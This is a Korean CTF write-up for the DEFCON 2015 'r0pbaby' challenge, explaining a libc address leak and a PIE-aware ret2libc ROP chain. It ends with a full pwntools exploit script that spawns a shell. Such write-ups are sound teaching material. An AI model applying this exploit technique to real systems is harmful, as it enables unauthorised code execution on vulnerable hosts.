DEFCON 2015 r0pbaby

r0pbaby

Binary File

[바이너리 보호기법 확인]

[실행 화면 메뉴]

1번 진입시, libc의 주소를 알려준다. 하지만 확인해보니 실제 libc 주소는 아니었다.

2번 진입시, symbol 입력란이 추가로 뜨는데 여기서 system 함수의 주소를 알려준다.

3번 진입시, 최대 1024 바이트까지 버퍼를 보낼 수 있다. 우리가 최종적으로 페이로드를 보내는 곳이다.


[system 함수 주소]

libc 주소는 달랐는데 system 주소는 동일하다. 고로 바로 recv 받아서 사용하면 된다. 이후부터는 오프셋 연산을 해주고 RTL 하면 되는데 익스가 안된다…여기서 은근히 시간을 많이 잡아먹었다. 생각해보니 PIE가 걸렸다는 점을 간과하고 있었던 것이다. PIE가 걸려있으면 실행할 때마다 가젯 주소가 계속 바뀌기 때문에 libc의 pop rdi ret을 가져와서 오프셋 연산을 해야 한다. 3번을 IDA로 확인하면 buffer를 savage라는 곳에다가 옮기는데 이 savage의 위치는 고맙게도 rbp+0h 에 있다. 즉, 바로 버퍼의 바로 뒤에 위치해 있다는 소리다. 고로 buf + sfp[rbp+0h] + RTL[binsh+system]이 들어갈 최종 페이로드가 된다. 이후부터는 스무스하게 슥삭 진행하면 익스 성공!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

r = process('./r0pbaby')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
binsh_offset = libc.search('/bin/sh').next()
system_offset = libc.symbols['system']
pr = 0x21102 # pop rdi; ret

r.sendlineafter(": ", "2")
r.sendlineafter(": ", "system")
r.recvuntil("0x")
system_addr = int(r.recv(16), 16)

libc_base = system_addr - system_offset
pr_addr = libc_base + pr
binsh_addr = libc_base + binsh_offset

r.sendlineafter(": ", "3")
r.sendline("32")

payload = "A"*8
payload += p64(pr_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

r.sendline(payload)
r.interactive()
[Exploit Code]
공유하기